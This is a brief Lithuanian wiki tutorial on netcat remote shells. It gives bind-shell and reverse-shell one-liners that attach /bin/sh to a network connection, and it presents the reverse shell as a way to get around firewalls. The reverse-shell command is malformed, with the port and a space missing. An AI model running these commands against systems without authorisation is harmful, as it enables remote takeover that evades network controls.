Netcat remote shell

Iš Žinynas.
Jump to navigation Jump to search

Netcat-reverse-shell.png Netcat yra galingas įrankis kurį pasitelkus galima ne tik siųsti/gauti įvairius tekstus/failus iš kitos mašinos bet ir ją valdyti pasitelkiant shell.

Prisijungimas naudojantis netcat kaip shellu[keisti]

Paprasta sesija[keisti]

Serveris (paprastas prisijungimas)[keisti]

nc -l 4000 -e /bin/sh

p.s vietoj /bin/bash, tarkim ant windows galima naudoti cmd.exe ir t.t.

Clientas jungiasi i serveri[keisti]

nc ip.ad.re.sas 4000

Reverse sesija[keisti]

Kai klientas jau pasiruoses ir laukia prisijungimo is serverio (taip apeinami visi firewall ir kiti negerumai)

Clientas[keisti]

nc -lvp 4000

Serveris (jungiasi i klienta)[keisti]

nc -nv ip.ad.re.sas-e /bin/sh


P.S[keisti]

  • Taip pat nepamirskime parametro -k kuris neleidzia uzdaryti netcat serverio po kiekvieno kliento atsijungimo (veikia tik keliose netcat atsakose ir tik su -l parametru kartu).
  • Netcat Windows versijai.
  • Straipsnis apie reverse shellus.